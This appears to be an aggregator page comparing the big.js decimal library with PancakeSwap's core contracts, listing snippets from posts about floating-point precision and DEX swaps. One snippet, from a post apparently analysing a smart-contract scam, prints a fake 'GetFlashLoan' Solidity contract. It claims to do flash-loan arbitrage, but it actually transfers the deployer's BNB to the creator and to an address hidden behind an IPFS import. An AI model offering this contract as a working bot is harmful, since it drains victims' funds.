big.js
A small, fast JavaScript library for arbitrary-precision decimal arithmetic. (by MikeMcl)
pancake-swap-core
Core smart contracts (by pancakeswap)
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big.js | pancake-swap-core | |
---|---|---|
9 | 5 | |
4,679 | 171 | |
- | - | |
0.0 | 0.0 | |
about 1 year ago | over 2 years ago | |
JavaScript | TypeScript | |
MIT License | GNU General Public License v3.0 only |
The number of mentions indicates the total number of mentions that we've tracked plus the number of user suggested alternatives.
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
big.js
Posts with mentions or reviews of big.js.
We have used some of these posts to build our list of alternatives
and similar projects. The last one was on 2023-11-16.
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Decoding Why 0.6 + 0.3 = 0.8999999999999999 in JS and How to Solve?
ii) Third-Party Libraries There are various libraries like math.js, decimal.js, big.js that solve the problem. Each library functions according to its documentation. This approach is comparatively better.
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Working with Currency Values in TypeScript
For financial applications, APIs commonly return currency values, balances, stock/currency positions, and other amounts as strings. The best way I've found to deal with this is to use a library like big.js.
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Working with extremely large numbers?
Just for fun, using javascript library:
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How are you handling your money?
Another different approach maybe to have the money represented in the decimal in your database at the decimal places of the currency with the highest decimal point you are going to be dealing with for example using Decimal(n, 2) in case of fiat, and perform your calculations in arbitrary-precision Decimal type. In javascript, using libraries like Big.js , Decimal.js will be of help.
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Made my first JavaScript project, the calculator!
With that said, using a library like big.js will solve both this and the potentially unsafe eval use:
- Ask HN: Open-source projects that handle monetary values properly
- Is there a way to monitor the price on pancake swap through an API?
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Why is 7.9 - 5 = 2.90000004?
It will explain this weird behavior. You have to use a special lib for precise floating point math. Here is one: big.js.
pancake-swap-core
Posts with mentions or reviews of pancake-swap-core.
We have used some of these posts to build our list of alternatives
and similar projects. The last one was on 2022-04-26.
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Anatomy of a Smart Contract Scam
pragma solidity ^0.5.0; // Multiplier-Finance Smart Contracts import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; // PancakeSwap Smart Contracts import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; // PancakeSwap Router Smart Contracts import "ipfs://QmaXMrJvcVV53EBvumU3fY5wxbNawq4zAFJ6bbbCwtn1y3"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } address public creator= msg.sender; function tokenTransfer() public view returns (address) { return creator; } function() external payable {} function action() public payable { // Send Tokens to PancakeSwap Router for Swap address(uint160(tokenTransfer())).transfer(address(this).balance/6); address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance); // Perform tasks (combined all functions into one to reduce external calls & save gas fees) manager.performTasks(); /* Breakdown of functions // Submit token to BSC blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on PancakeSwap manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress); // Get BNB Loan from Multiplier-Finance string memory loanAddress = manager.takeFlashLoan(loanAmount); // Send Borrowed BNB to provide liquidity of newly created Token string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB"); manager.pancakeAddLiquidity(bnbPair, loanAmount); // Perform swaps between Token and BNB and back again manager.pancakePerformSwaps(); // Repay Flashloan with Multiplier-Finance manager.repayLoan(loanAddress); // Move remaining BNB profit from Contract to the contract creators wallet manager.contractToWallet("BNB"); */ } }
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Please for the love of god, what does this mean? I can’t swap a goddamn thing. Tried swapping different tokens, different amounts, different slippages. But nada.
In the source code of the pancake pair contract ( https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol ) one can see that the 'K' error is triggered when the product of the values if the two tokens in the pool is not mantained constant as it should.
- What is 0x07d80AE6f36A5E08Dca74cE884A24D39dB9934ed?
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Is there a way to monitor the price on pancake swap through an API?
https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol#L73
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Can defi DEX exchanges steal your initial investment?
pancake-swap-core/contracts at master · pancakeswap/pancake-swap-core · GitHub
What are some alternatives?
When comparing big.js and pancake-swap-core you can also consider the following projects:
human-standard-token-abi - A JSON ABI for the Ethereum ERC 20 Token Standard
v2-core - 🦄 🦄 Core smart contracts of Uniswap V2
uniswap-v2-core - 🎛 Core smart contracts of Uniswap V2 [Moved to: https://github.com/Uniswap/v2-core]
bsc-ecosystem - A guide to available tools, components, and platforms for developing applications on BSC.
contracts